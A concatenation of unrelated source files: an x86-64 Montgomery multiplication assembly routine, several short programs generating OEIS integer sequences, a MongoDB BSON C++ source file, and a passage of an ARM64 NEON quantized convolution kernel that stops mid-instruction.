# mp_limb_t mulredc5(mp_limb_t * z, const mp_limb_t * x, const mp_limb_t * y, # const mp_limb_t *m, mp_limb_t inv_m); # # Linux: z: %rdi, x: %rsi, y: %rdx, m: %rcx, inv_m: %r8 # Needs %rbx, %rsp, %rbp, %r12-%r15 restored # Windows: z: %rcx, x: %rdx, y: %r8, m: %r9, inv_m: 28(%rsp) # Needs %rbx, %rbp, %rdi, %rsi, %r12...%15 restored # This stuff is run through M4 twice, first when generating the # mulredc*.asm files from the mulredc.m4 file (when preparing the distro) # and again when generating the mulredc*.s files from the mulredc*.asm files # when the user compiles the program. # We used to substitute XP etc. by register names in the first pass, # but now with switching between Linux and Windows ABI, we do it in # the second pass instead when we know which ABI we have, as that # allows us to assign registers differently for the two ABIs. # That means that the defines for XP etc., need to be quoted once to be # protected in the first M4 pass, so that they are processed and # occurrences of XP etc. happen only in the second pass. include(`config.m4') TEXT .p2align 6 # x86_64 L1 code cache line is 64 bytes long GLOBL GSYM_PREFIX`'mulredc5 TYPE(GSYM_PREFIX`'mulredc`'5,`function') # Implements multiplication and REDC for two input numbers of LENGTH words ifdef(`WINDOWS64_ABI', `# Uses Windows ABI', `# Uses Linux ABI') # tmp[0 ... len+1] = 0 # for (i = 0; i < len; i++) # { # t = x[i] * y[0]; /* Keep and reuse this product */ # u = ((t + tmp[0]) * invm) % 2^64 # tmp[0] += (t + m[0]*u) / 2^64; /* put carry in cy. */ # for (j = 1; j < len; j++) # { # tmp[j-1 ... j] += x[i]*y[j] + m[j]*u + (cy << BITS_PER_WORD); # /* put new carry in cy */ # } # tmp[len] = cy; # } # z[0 ... len-1] = tmp[0 ... len-1] # return (tmp[len]) # Values that are referenced only once in the loop over j go into r8 .. r14, # In the inner loop (over j), tmp, x[i], y, m, and u are constant. # tmp[j], tmp[j+1], tmp[j+2] are updated frequently. These 8 values # stay in registers and are referenced as # TP = tmp, YP = y, MP = m, # XI = x[i], T0 = tmp[j], T1 = tmp[j+1], CY = carry define(`T0', `rsi')dnl define(`T0l', `esi')dnl define(`T1', `rbx')dnl define(`T1l', `ebx')dnl define(`CY', `rcx')dnl define(`CYl', `ecx')dnl define(`CYb', `cl')dnl define(`XI', `r14')dnl # register that holds x[i] value define(`U', `r11')dnl define(`XP', `r13')dnl # register that points to the x arraz define(`TP', `rbp')dnl # register that points to t + i define(`I', `r12')dnl # register that holds loop counter i define(`Il', `r12d')dnl # register that holds loop counter i define(`ZP', `rdi')dnl # register that holds z. Same as passed in ifdef(`WINDOWS64_ABI', `define(`YP', `r8')dnl # points to y array, same as passed in define(`MP', `r9')dnl # points to m array, same as passed in define(`INVM', `r10')dnl # register that holds invm. Same as passed in' , `define(`YP', `r9')dnl # register that points to the y array define(`MP', `r10')dnl # register that points to the m array define(`INVM', `r8')dnl # register that holds invm. Same as passed in' )dnl `#' Register vars: `T0' = T0, `T1' = T1, `CY' = CY, `XI' = XI, `U' = U `#' `YP' = YP, `MP' = MP, `TP' = TP # local variables: tmp[0 ... LENGTH] array, having LENGTH+1 8-byte words # The tmp array needs LENGTH+1 entries, the last one is so that we can # store CY at tmp[j+1] for j == len-1 GSYM_PREFIX`'mulredc5: pushq %rbx pushq %rbp pushq %r12 pushq %r13 pushq %r14 ifdef(`WINDOWS64_ABI', ` pushq %rsi pushq %rdi ') dnl ifdef(`WINDOWS64_ABI', ` movq %rdx, %XP movq %rcx, %ZP movq 96(%rsp), %INVM # 7 push, ret addr, 4 reg vars = 96 bytes' , ` movq %rsi, %XP # store x in XP movq %rdx, %YP # store y in YP movq %rcx, %MP # store m in MP' ) dnl subq $48, %rsp # subtract size of local vars ######################################################################### # i = 0 pass ######################################################################### # register values at loop entry: %TP = tmp, %I = i, %YP = y, %MP = m # %CY < 255 (i.e. only low byte may be != 0) # Pass for j = 0. We need to fetch x[i] from memory and compute the new u movq (%XP), %XI # XI = x[0] movq (%YP), %rax # rax = y[0] xorl %CYl, %CYl # set %CY to 0 lea (%rsp), %TP # store addr of tmp array in TP movl %CYl, %Il # Set %I to 0 mulq %XI # rdx:rax = y[0] * x[i] addq $1, %I movq %rax, %T0 # Move low word of product to T0 movq %rdx, %T1 # Move high word of product to T1 ifdef(`MULREDC_SVOBODA', , `' ` imulq %INVM, %rax # %rax = ((x[i]*y[0]+tmp[0])*invm)%2^64' ) movq %rax, %U # this is the new u value mulq (%MP) # multipy u*m[0] addq %rax, %T0 # Now %T0 = 0, need not be stored movq 8(%YP), %rax # Fetch y[1] adcq %rdx, %T1 # setc %CYb # CY:T1:T0 <= 2*(2^64-1)^2 <= 2^2*128 - 4*2^64 + 2, hence # CY:T1 <= 2*2^64 - 4 define(`TT', defn(`T0'))dnl define(`TTl', defn(`T0l'))dnl define(`T0', defn(`T1'))dnl define(`T0l', defn(`T1l'))dnl define(`T1', defn(`TT'))dnl define(`T1l', defn(`TTl'))dnl undefine(`TT')dnl undefine(`TTl')dnl `#' Now `T0' = T0, `T1' = T1 `#' Pass for j = 1 `#' Register values at entry: `#' %rax = y[j], %XI = x[i], %U = u `#' %TP = tmp, %T0 = value to store in tmp[j], %T1 undefined `#' %CY = carry into T1 (is <= 2) # We have %CY:%T1 <= 2 * 2^64 - 2 movl %CYl, %T1l # T1 = CY <= 1 # Here, T1:T0 <= 2*2^64 - 2 mulq %XI # y[j] * x[i] # rdx:rax <= (2^64-1)^2 <= 2^128 - 2*2^64 + 1 addq %rax, %T0 # Add low word to T0 movq 8(%MP), %rax # Fetch m[j] into %rax adcq %rdx, %T1 # Add high word with carry to T1 # T1:T0 <= 2^128 - 2*2^64 + 1 + 2*2^64 - 2 <= 2^128 - 1, no carry! mulq %U # m[j]*u # rdx:rax <= 2^128 - 2*2^64 + 1, T1:T0 <= 2^128 - 1 addq %T0, %rax # Add T0 and low word movq %rax, 0(%TP) `#' Store T0 in tmp[1-1] movq 16(%YP), %rax `#' Fetch y[j+1] = y[2] into %rax adcq %rdx, %T1 # Add high word with carry to T1 setc %CYb # %CY <= 1 # CY:T1:T0 <= 2^128 - 1 + 2^128 - 2*2^64 + 1 <= # 2 * 2^128 - 2*2^64 ==> CY:T1 <= 2 * 2^64 - 2 define(`TT', defn(`T0'))dnl define(`TTl', defn(`T0l'))dnl define(`T0', defn(`T1'))dnl define(`T0l', defn(`T1l'))dnl define(`T1', defn(`TT'))dnl define(`T1l', defn(`TTl'))dnl undefine(`TT')dnl undefine(`TTl')dnl `#' Now `T0' = T0, `T1' = T1 `#' Pass for j = 2 `#' Register values at entry: `#' %rax = y[j], %XI = x[i], %U = u `#' %TP = tmp, %T0 = value to store in tmp[j], %T1 undefined `#' %CY = carry into T1 (is <= 2) # We have %CY:%T1 <= 2 * 2^64 - 2 movl %CYl, %T1l # T1 = CY <= 1 # Here, T1:T0 <= 2*2^64 - 2 mulq %XI # y[j] * x[i] # rdx:rax <= (2^64-1)^2 <= 2^128 - 2*2^64 + 1 addq %rax, %T0 # Add low word to T0 movq 16(%MP), %rax # Fetch m[j] into %rax adcq %rdx, %T1 # Add high word with carry to T1 # T1:T0 <= 2^128 - 2*2^64 + 1 + 2*2^64 - 2 <= 2^128 - 1, no carry! mulq %U # m[j]*u # rdx:rax <= 2^128 - 2*2^64 + 1, T1:T0 <= 2^128 - 1 addq %T0, %rax # Add T0 and low word movq %rax, 8(%TP) `#' Store T0 in tmp[2-1] movq 24(%YP), %rax `#' Fetch y[j+1] = y[3] into %rax adcq %rdx, %T1 # Add high word with carry to T1 setc %CYb # %CY <= 1 # CY:T1:T0 <= 2^128 - 1 + 2^128 - 2*2^64 + 1 <= # 2 * 2^128 - 2*2^64 ==> CY:T1 <= 2 * 2^64 - 2 define(`TT', defn(`T0'))dnl define(`TTl', defn(`T0l'))dnl define(`T0', defn(`T1'))dnl define(`T0l', defn(`T1l'))dnl define(`T1', defn(`TT'))dnl define(`T1l', defn(`TTl'))dnl undefine(`TT')dnl undefine(`TTl')dnl `#' Now `T0' = T0, `T1' = T1 `#' Pass for j = 3 `#' Register values at entry: `#' %rax = y[j], %XI = x[i], %U = u `#' %TP = tmp, %T0 = value to store in tmp[j], %T1 undefined `#' %CY = carry into T1 (is <= 2) # We have %CY:%T1 <= 2 * 2^64 - 2 movl %CYl, %T1l # T1 = CY <= 1 # Here, T1:T0 <= 2*2^64 - 2 mulq %XI # y[j] * x[i] # rdx:rax <= (2^64-1)^2 <= 2^128 - 2*2^64 + 1 addq %rax, %T0 # Add low word to T0 movq 24(%MP), %rax # Fetch m[j] into %rax adcq %rdx, %T1 # Add high word with carry to T1 # T1:T0 <= 2^128 - 2*2^64 + 1 + 2*2^64 - 2 <= 2^128 - 1, no carry! mulq %U # m[j]*u # rdx:rax <= 2^128 - 2*2^64 + 1, T1:T0 <= 2^128 - 1 addq %T0, %rax # Add T0 and low word movq %rax, 16(%TP) `#' Store T0 in tmp[3-1] movq 32(%YP), %rax `#' Fetch y[j+1] = y[4] into %rax adcq %rdx, %T1 # Add high word with carry to T1 setc %CYb # %CY <= 1 # CY:T1:T0 <= 2^128 - 1 + 2^128 - 2*2^64 + 1 <= # 2 * 2^128 - 2*2^64 ==> CY:T1 <= 2 * 2^64 - 2 define(`TT', defn(`T0'))dnl define(`TTl', defn(`T0l'))dnl define(`T0', defn(`T1'))dnl define(`T0l', defn(`T1l'))dnl define(`T1', defn(`TT'))dnl define(`T1l', defn(`TTl'))dnl undefine(`TT')dnl undefine(`TTl')dnl `#' Now `T0' = T0, `T1' = T1 `#' Pass for j = 4. Don't fetch new data from y[j+1]. movl %CYl, %T1l # T1 = CY <= 1 mulq %XI # y[j] * x[i] addq %rax, %T0 # Add low word to T0 movq 32(%MP), %rax # Fetch m[j] into %rax adcq %rdx, %T1 # Add high word with carry to T1 mulq %U # m[j]*u addq %rax, %T0 # Add low word to T0 movq %T0, 24(%TP) # Store T0 in tmp[j-1] adcq %rdx, %T1 # Add high word with carry to T1 movq %T1, 32(%TP) # Store T1 in tmp[j] setc %CYb # %CY <= 1 movq %CY, 40(%TP) # Store CY in tmp[j+1] ######################################################################### # i > 0 passes ######################################################################### .p2align 5,,4 LABEL_SUFFIX(1) # register values at loop entry: %TP = tmp, %I = i, %YP = y, %MP = m # %CY < 255 (i.e. only low byte may be > 0) # Pass for j = 0. We need to fetch x[i], tmp[i] and tmp[i+1] from memory # and compute the new u movq (%XP,%I,8), %XI # XI = x[i] movq (%YP), %rax # rax = y[0] #init the register tmp ring buffer movq (%TP), %T0 # Load tmp[0] into T0 movq 8(%TP), %T1 # Load tmp[1] into T1 mulq %XI # rdx:rax = y[0] * x[i] addq $1, %I addq %T0, %rax # Add T0 to low word adcq %rdx, %T1 # Add high word with carry to T1 setc %CYb # %CY <= 1 movq %rax, %T0 # Save sum of low words in T0 imulq %INVM, %rax # %rax = ((x[i]*y[0]+tmp[0])*invm)%2^64 movq %rax, %U # this is the new u value mulq (%MP) # multipy u*m[0] addq %rax, %T0 # Now %T0 = 0, need not be stored adcq %rdx, %T1 # movq 8(%YP), %rax # Fetch y[1] define(`TT', defn(`T0'))dnl define(`TTl', defn(`T0l'))dnl define(`T0', defn(`T1'))dnl define(`T0l', defn(`T1l'))dnl define(`T1', defn(`TT'))dnl define(`T1l', defn(`TTl'))dnl undefine(`TT')dnl undefine(`TTl')dnl `#' Now `T0' = T0, `T1' = T1 `#' Pass for j = 1 `#' Register values at entry: `#' %rax = y[j], %XI = x[i], %U = u `#' %TP = tmp, %T0 = value to store in tmp[j], %T1 value to store in `#' tmp[j+1], %CY = carry into T1, carry flag: also carry into T1 movq 16(%TP), %T1 adcq %CY, %T1 # T1 = CY + tmp[j+1] setc %CYb # %CY <= 1 mulq %XI # y[j] * x[i] addq %rax, %T0 # Add low word to T0 movq %U, %rax adcq %rdx, %T1 # Add high word with carry to T1 adcb $0, %CYb # %CY <= 2 mulq 8(%MP) # m[j]*u addq %rax, %T0 # Add T0 and low word movq 16(%YP), %rax `#' Fetch y[j+1] = y[2] into %rax adcq %rdx, %T1 # Add high word with carry to T1 movq %T0, 0(%TP) `#' Store T0 in tmp[1-1] define(`TT', defn(`T0'))dnl define(`TTl', defn(`T0l'))dnl define(`T0', defn(`T1'))dnl define(`T0l', defn(`T1l'))dnl define(`T1', defn(`TT'))dnl define(`T1l', defn(`TTl'))dnl undefine(`TT')dnl undefine(`TTl')dnl `#' Now `T0' = T0, `T1' = T1 `#' Pass for j = 2 `#' Register values at entry: `#' %rax = y[j], %XI = x[i], %U = u `#' %TP = tmp, %T0 = value to store in tmp[j], %T1 value to store in `#' tmp[j+1], %CY = carry into T1, carry flag: also carry into T1 movq 24(%TP), %T1 adcq %CY, %T1 # T1 = CY + tmp[j+1] setc %CYb # %CY <= 1 mulq %XI # y[j] * x[i] addq %rax, %T0 # Add low word to T0 movq %U, %rax adcq %rdx, %T1 # Add high word with carry to T1 adcb $0, %CYb # %CY <= 2 mulq 16(%MP) # m[j]*u addq %rax, %T0 # Add T0 and low word movq 24(%YP), %rax `#' Fetch y[j+1] = y[3] into %rax adcq %rdx, %T1 # Add high word with carry to T1 movq %T0, 8(%TP) `#' Store T0 in tmp[2-1] define(`TT', defn(`T0'))dnl define(`TTl', defn(`T0l'))dnl define(`T0', defn(`T1'))dnl define(`T0l', defn(`T1l'))dnl define(`T1', defn(`TT'))dnl define(`T1l', defn(`TTl'))dnl undefine(`TT')dnl undefine(`TTl')dnl `#' Now `T0' = T0, `T1' = T1 `#' Pass for j = 3 `#' Register values at entry: `#' %rax = y[j], %XI = x[i], %U = u `#' %TP = tmp, %T0 = value to store in tmp[j], %T1 value to store in `#' tmp[j+1], %CY = carry into T1, carry flag: also carry into T1 movq 32(%TP), %T1 adcq %CY, %T1 # T1 = CY + tmp[j+1] setc %CYb # %CY <= 1 mulq %XI # y[j] * x[i] addq %rax, %T0 # Add low word to T0 movq %U, %rax adcq %rdx, %T1 # Add high word with carry to T1 adcb $0, %CYb # %CY <= 2 mulq 24(%MP) # m[j]*u addq %rax, %T0 # Add T0 and low word movq 32(%YP), %rax `#' Fetch y[j+1] = y[4] into %rax adcq %rdx, %T1 # Add high word with carry to T1 movq %T0, 16(%TP) `#' Store T0 in tmp[3-1] define(`TT', defn(`T0'))dnl define(`TTl', defn(`T0l'))dnl define(`T0', defn(`T1'))dnl define(`T0l', defn(`T1l'))dnl define(`T1', defn(`TT'))dnl define(`T1l', defn(`TTl'))dnl undefine(`TT')dnl undefine(`TTl')dnl `#' Now `T0' = T0, `T1' = T1 `#' Pass for j = 4. Don't fetch new data from y[j+1]. movq 40(%TP), %T1 adcq %CY, %T1 # T1 = CY + tmp[j+1] mulq %XI # y[j] * x[i] addq %rax, %T0 # Add low word to T0 movq 32(%MP), %rax # Fetch m[j] into %rax adcq %rdx, %T1 # Add high word with carry to T1 setc %CYb # %CY <= 1 mulq %U # m[j]*u addq %rax, %T0 # Add low word to T0 movq %T0, 24(%TP) # Store T0 in tmp[j-1] adcq %rdx, %T1 # Add high word with carry to T1 movq %T1, 32(%TP) # Store T1 in tmp[j] adcb $0, %CYb # %CY <= 2 movq %CY, 40(%TP) # Store CY in tmp[j+1] cmpq $5, %I jb 1b # Copy result from tmp memory to z movq (%TP), %rax movq 8(%TP), %rdx movq %rax, (%ZP) movq %rdx, 8(%ZP) movq 16(%TP), %rax movq 24(%TP), %rdx movq %rax, 16(%ZP) movq %rdx, 24(%ZP) movq 32(%TP), %rax movq %rax, 32(%ZP) movl %CYl, %eax # use carry as return value addq $48, %rsp ifdef(`WINDOWS64_ABI', ` popq %rdi popq %rsi ') dnl popq %r14 popq %r13 popq %r12 popq %rbp popq %rbx ret
; A181655: Expansion of (1+2x-x^3+x^4)/(1-4x^2+3x^4). ; 1,2,4,7,14,22,44,67,134,202,404,607,1214,1822,3644,5467,10934,16402,32804,49207,98414,147622,295244,442867,885734,1328602,2657204,3985807,7971614,11957422,23914844,35872267,71744534,107616802,215233604 mov $2,$0 add $2,1 mov $4,$0 lpb $2 mov $0,$4 sub $2,1 sub $0,$2 sub $0,2 cal $0,220946 ; Expansion of (1+2*x+2*x^2-x^3)/((1-x)*(1+x)*(1-3x^2)). add $0,1 mov $3,$0 cmp $3,0 add $0,$3 add $1,$0 lpe
// Copyright 2014 MongoDB Inc. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. #include <stdexcept> #include <bsoncxx/array/element.hpp> #include <bsoncxx/types/bson_value/view.hpp> #include <bsoncxx/config/private/prelude.hh> namespace bsoncxx { BSONCXX_INLINE_NAMESPACE_BEGIN namespace array { element::element() : document::element() {} element::element(const std::uint8_t* raw, std::uint32_t length, std::uint32_t offset, std::uint32_t keylen) : document::element(raw, length, offset, keylen) {} bool BSONCXX_CALL operator==(const element& elem, const types::bson_value::view& v) { return elem.get_value() == v; } bool BSONCXX_CALL operator==(const types::bson_value::view& v, const element& elem) { return elem == v; } bool BSONCXX_CALL operator!=(const element& elem, const types::bson_value::view& v) { return !(elem == v); } bool BSONCXX_CALL operator!=(const types::bson_value::view& v, const element& elem) { return !(elem == v); } } // namespace array BSONCXX_INLINE_NAMESPACE_END } // namespace bsoncxx
; A007904: Crystal ball sequence for diamond. ; 1,5,17,41,83,147,239,363,525,729,981,1285,1647,2071,2563,3127,3769,4493,5305,6209,7211,8315,9527,10851,12293,13857,15549,17373,19335,21439,23691,26095,28657,31381,34273,37337,40579,44003,47615,51419,55421,59625,64037,68661,73503,78567,83859,89383,95145,101149,107401,113905,120667,127691,134983,142547,150389,158513,166925,175629,184631,193935,203547,213471,223713,234277,245169,256393,267955,279859,292111,304715,317677,331001,344693,358757,373199,388023,403235,418839,434841,451245,468057,485281,502923,520987,539479,558403,577765,597569,617821,638525,659687,681311,703403,725967,749009,772533,796545,821049,846051,871555,897567,924091,951133,978697,1006789,1035413,1064575,1094279,1124531,1155335,1186697,1218621,1251113,1284177,1317819,1352043,1386855,1422259,1458261,1494865,1532077,1569901,1608343,1647407,1687099,1727423,1768385,1809989,1852241,1895145,1938707,1982931,2027823,2073387,2119629,2166553,2214165,2262469,2311471,2361175,2411587,2462711,2514553,2567117,2620409,2674433,2729195,2784699,2840951,2897955,2955717,3014241,3073533,3133597,3194439,3256063,3318475,3381679,3445681,3510485,3576097,3642521,3709763,3777827,3846719,3916443,3987005,4058409,4130661,4203765,4277727,4352551,4428243,4504807,4582249,4660573,4739785,4819889,4900891,4982795,5065607,5149331,5233973,5319537,5406029,5493453,5581815,5671119,5761371,5852575,5944737,6037861,6131953,6227017,6323059,6420083,6518095,6617099,6717101,6818105,6920117,7023141,7127183,7232247,7338339,7445463,7553625,7662829,7773081,7884385,7996747,8110171,8224663,8340227,8456869,8574593,8693405,8813309,8934311,9056415,9179627,9303951,9429393,9555957,9683649,9812473,9942435,10073539,10205791,10339195,10473757,10609481,10746373,10884437,11023679,11164103,11305715,11448519,11592521,11737725,11884137,12031761,12180603,12330667,12481959,12634483,12788245,12943249 mov $2,$0 add $2,1 mov $9,$0 lpb $2 mov $0,$9 sub $2,1 sub $0,$2 mov $6,$0 sub $6,$0 pow $0,2 mul $0,5 mov $5,$6 add $5,$0 mov $7,$5 mov $8,10 lpb $0 add $3,5 mov $4,$3 log $4,2 mov $0,$4 mov $3,1 mov $6,2 add $7,$8 div $7,2 add $6,$7 lpe sub $6,5 pow $6,$3 add $1,$6 lpe
; A002248: Number of points on y^2 + xy = x^3 + x^2 + x over GF(2^n). ; Submitted by Jamie Morken(s2) ; 2,8,14,16,22,56,142,288,518,968,1982,4144,8374,16472,32494,65088,131174,263144,525086,1047376,2094358,4193912,8393806,16783200,33550022,67092488,134210174,268460656,536911222,1073731736,2147392942,4294896768,8590045478,17180121128,34359768542,68719003024,137438419414,274878320312,549757295374,1099512282528,2199020947334,4398042893384,8796094020926,17592194278576,35184378325558,70368733946072,140737465650286,281474974468800,562949996589542,1125899954494568,2251799775000734,4503599493382096 lpb $0 sub $0,1 mul $2,2 add $2,2 add $3,$2 sub $3,1 add $4,1 mul $4,2 add $2,$4 sub $2,$3 lpe mov $0,$2 mul $0,2 add $0,2
/*++ Copyright (c) Microsoft Corporation. All rights reserved. Licensed under the MIT License. Module Name: ConvSymKernelNeonDot.asm Abstract: This module implements the kernels for the symmetric quantized integer convolution operation. --*/ #include "kxarm64.h" #define MLAS_CONV_SYM_FLAG_INPUT_DIRECT 1 #define MLAS_CONV_SYM_FLAG_PER_CHANNEL_SCALE 2 // // Stack frame layout for the symmetric convolution kernel. // d8-d15, x19-x30 need to be preserved if used // #define ConvSymFrame_SavedNeonRegisters (8 * 8) #define ConvSymFrame_SavedRegisters ConvSymFrame_SavedNeonRegisters #define ConvSymFrame_PostProcessParams 0 + ConvSymFrame_SavedRegisters #define ConvSymFrame_KernelFlags 8 + ConvSymFrame_SavedRegisters #define ConvSymPostProcessParams_Bias 0 #define ConvSymPostProcessParams_Scale 8 #define ConvSymPostProcessParams_Min 16 #define ConvSymPostProcessParams_Max 20 #define ConvSymPostProcessParams_ZeroPoint 24 TEXTAREA /*++ Routine Description: This routine is the inner kernel to compute a convolution for the elements of an output row for a set of filter rows. Arguments: Input (x0) - Points to the input buffer. If MLAS_CONV_SYM_FLAG_INPUT_DIRECT is set, then the input buffer points directly at the input tensor. If MLAS_CONV_SYM_FLAG_INPUT_DIRECT is clear, then the input buffer is an indirection buffer. Every pointer in the indirection buffer points at a InputChannels length vector (either from the input tensor or a vector of padding values). These are grouped in batches of length KernelSize. These batches are then repeated OutputCount times. Filter (x1) - Points to the filter buffer. Output (x2) - Points the output buffer. KernelSize (x3/x9) - Size of the kernel (most commonly. 3x3=9, 5x5=25). If MLAS_CONV_SYM_FLAG_INPUT_DIRECT is set, then kernel size should be 1. InputChannels (x4/x7) - Number of input channels. OutputChannels (x5) - Number of output channels. ChannelCount (x6) - Number of output channels this iteration produces. OutputCount (x7) - Number of output elements this iteration produces. This implementation requires the count to be no larger than 4. PostProcessParams (x8) - Points to the post process parameter block. KernelFlags - (w10) Additional flags controlling the operation. Return Value: None. --*/ NESTED_ENTRY MlasConvSymKernelNeonDot PROLOG_SAVE_REG_PAIR d8,d9,#-64! PROLOG_NOP ldr x8,[sp,#ConvSymFrame_PostProcessParams] PROLOG_NOP ldr w10,[sp,#ConvSymFrame_KernelFlags] PROLOG_SAVE_REG_PAIR d10,d11,#16 PROLOG_SAVE_REG_PAIR d12,d13,#32 PROLOG_SAVE_REG_PAIR x19,x20,#48 // compute C pointers: x2, x16, x17, x5 cmp x7,2 // OutputCount < 2 ? add x16,x2,x5 // x16 -> C1 lsl x3,x3,#3 // KernelSize * sizeof(int8_t*) csel x16,x2,x16,lo // if OutputCount < 2 x16/C1 -> C0 mov x20,x4 add x4,x4,3 // InputChannels align to 4 add x17,x16,x5 // x17 -> C2 ldr x11,[x8,#ConvSymPostProcessParams_Bias] csel x17,x16,x17,ls // if OutputCount <= 2 x17/C2 -> C1 bic x4,x4,3 cmp x7,4 // OutputCount < 4 ? add x5,x17,x5 // x5 -> C3 ldr x19,[x8,#ConvSymPostProcessParams_Scale] csel x5,x17,x5,lo // if OutputCount < 4 x5/C3 -> C2 movi v12.16b,128 // for top bit flipping OutputChannelLoop ldp q16,q20,[x11],32 // Init accumulators with biases mov v17.16b,v16.16b mov v18.16b,v16.16b ldp q24,q28,[x11],32 mov v19.16b,v16.16b mov v21.16b,v20.16b mov v22.16b,v20.16b mov v23.16b,v20.16b mov v25.16b,v24.16b mov v26.16b,v24.16b mov v27.16b,v24.16b mov v29.16b,v28.16b mov v30.16b,v28.16b mov v31.16b,v28.16b mov x9,x3 // restore KernelSize * sizeof(int8_t*) KernelSizeLoop tst w10,#MLAS_CONV_SYM_FLAG_INPUT_DIRECT beq InputIndirection InputDirect cmp x16,x2 mov x12,x0 // x12 -> A0 add x13,x0,x20 // x13 -> A1 = A0 + input channels csel x13,x0,x13,eq cmp x17,x16 add x14,x0,x20,lsl#1 // x14 -> A2 csel x14,x13,x14,eq cmp x5,x17 add x15,x13,x20,lsl#1 // x15 -> A3 csel x15,x14,x15,eq b FinishLoadAPtr InputIndirection ldr x12,[x0] // x12 -> A0 cmp x16,x2 b.eq SkipLoadA1 // C1==C0 -> A0=A1=A2=A3 cmp x17,x16 lsl x14,x3,#1 ldr x13,[x0,x3] // x13 -> A1 b.eq SkipLoadA2 // C2==C1 -> A1=A2=A3 cmp x5,x17 add x15,x3,x3,lsl#1 ldr x14,[x0,x14] // x14 -> A2 b.eq SkipLoadA3 // C3==C2 -> A2=A3 ldr x15,[x0,x15] // x15 -> A3 b FinishLoadAPtr SkipLoadA1 mov x13,x12 SkipLoadA2 mov x14,x13 SkipLoadA3 mov x15,x14 // Register Usage // B (x1) -> 4x16 // ---------------------------------------------------------------------------- // |v4.b[0]..v4.b[12] v5.b[0]..v5.b[12] v6.b[0]..v6.b[12] v7.b[0]..v7.b[12]| // | ... ... ... ... ... ... ... ... | // |v4.b[3]..v4.b[15] v5.b[3]..v5.b[15] v6.b[3]..v6.b[15] v7.b[3]..v7.b[15]| // A 4x4 ---------------------------------------------------------------------------- // ------------------ ---------------------------------------------------------------------------- // x12 |v0.b[0]..v0.b[3]| |v16.s[0]_v16.s[3] v20.s[0]_v20.s[3] v24.s[0]_v24.s[3] v28.s[0]_v28.s[3]| x2 // x13 |v1.b[0]..v1.b[3]| |v17.s[0]_v17.s[3] v21.s[0]_v21.s[3] v25.s[0]_v25.s[3] v29.s[0]_v29.s[3]| x16 // x14 |v2.b[0]..v2.b[3]| |v18.s[0]_v18.s[3] v22.s[0]_v23.s[3] v26.s[0]_v26.s[3] v30.s[0]_v31.s[3]| x17 // x15 |v3.b[0]..v3.b[3]| |v19.s[0]_v19.s[3] v23.s[0]_v23.s[3] v27.s[0]_v27.s[3] v31.s[0]_v31.s[3]| x5 // ------------------ ---------------------------------------------------------------------------- FinishLoadAPtr subs x7,x4,16 // Need 16 input channels for loop add x0,x0,8 // indirect A advance to next pointer, prepare for kernel size loop b.lo InChannels8 ldr d0,[x12],8 ldr q4,[x1],16 ldr d1,[x13],8 subs x7,x7,16 ldr d2,[x14],8 ldr d3,[x15],8 ldr q5,[x1],16 ldr q6,[x1],16 ldr q7,[x1],16 b.lo InChLoopEpilogue // Need 32 input channels for main loop InputChannelLoop eor v0.8b,v0.8b,v12.8b eor v1.8b,v1.8b,v12.8b sdot v16.4s,v4.16b,v0.4b[0] eor v2.8b,v2.8b,v12.8b sdot v17.4s,v4.16b,v1.4b[0] eor v3.8b,v3.8b,v12.8b ldr d8,[x12],8 sdot v18.4s,v4.16b,v2.4b[0] sdot v19.4s,v4.16b,v3.4b[0] ldr q4,[x1],16 sdot v20.4s,v5.16b,v0.4b[0] sdot v21.4s,v5.16b,v1.4b[0] ldr d9,[x13],8 sdot v22.4s,v5.16b,v2.4b[0] sdot v23.4s,v5.16b,v3.4b[0] ldr q5,[x1],16 sdot v24.4s,v6.16b,v0.4b[0] sdot v25.4s,v6.16b,v1.4b[0] ldr d10,[x14],8 sdot v26.4s,v6.16b,v2.4b[0] sdot v27.4s,v6.16b,v3.4b[0] ldr q6,[x1],16 sdot v28.4s,v7.16b,v0.4b[0] sdot v29.4s,v7.16b,v1.4b[0] ldr d11,[x15],8 sdot v30.4s,v7.16b,v2.4b[0] sdot v31.4s,v7.16b,v3.4b[0] ldr q7,[x1],16 sdot v16.4s,v4.16b,v0.4b[1] sdot v17.4s,v4.16b,v1.4b[1] sdot v18.4s,v4.16b,v2.4b[1] sdot v19.4s,v4.16b,v3.4b[1] ldr q4,[x1],16 sdot v20.4s,v5.16b,v0.4b[1] sdot v21.4s,v5.16b,v1.4b[1] sdot v22.4s,v5.16b,v2.4b[1] sdot v23.4s,v5.16b,v3.4b[1] ldr q5,[x1],16 sdot v24.4s,v6.16b,v0.4b[1] sdot v25.4s,v6.16b,v1.4b[1] sdot v26.4s,v6.16b,v2.4b[1] sdot v27.4s,v6.16b,v3.4b[1] ldr q6,[x1],16 sdot v28.4s,v7.16b,v0.4b[1] sdot v29.4s,v7.16b,v1.4b[1] sdot v30.4s,v7.16b,v2.4b[1] sdot v31.4s,v7.16b,v3.4b[1] eor v8.8b,v8.8b,v12.8b ldr q7,[x1],16 eor v9.8b,v9.8b,v12.8b sdot v16.4s,v4.16b,v8.4b[0] eor v10.8b,v10.8b,v12.8b sdot v17.4s,v4.16b,v9.4b[0] ldr d0,[x12],8 eor v11.8b,v11.8b,v12.8b sdot v18.4s,v4.16b,v10.4b[0] sdot v19.4s,v4.16b,v11.4b[0] ldr q4,[x1],16 sdot v20.4s,v5.16b,v8.4b[0] sdot v21.4s,v5.16b,v9.4b[0] ldr d1,[x13],8 sdot v22.4s,v5.16b,v10.4b[0] sdot v23.4s,v5.16b,v11.4b[0] ldr q5,[x1],16 sdot v24.4s,v6.16b,v8.4b[0] sdot v25.4s,v6.16b,v9.4b[0] ldr d2,[x14],8 sdot v26.4s,v6.16b,v10.4b[0] sdot v27.4s,v6.16b,v11.4b[0] ldr q6,[x1],16 sdot v28.4s,v7.16b,v8.4b[0] sdot v29.4s,v7.16b,v9.4b[0] ldr d3,[x15],8 sdot v30.4s,v7.16b,v10.4b[0] sdot v31.4s,v7.16b,v11.4b[0] ldr q7,[x1],16 sdot v16.4s,v4.16b,v8.4b[1] sdot v17.4s,v4.16b,v9.4b[1] sdot v18.4s,v4.16b,v10.4b[1] sdot v19.4s,v4.16b,v11.4b[1] ldr q4,[x1],16 sdot v20.4s,v5.16b,v8.4b[1] sdot 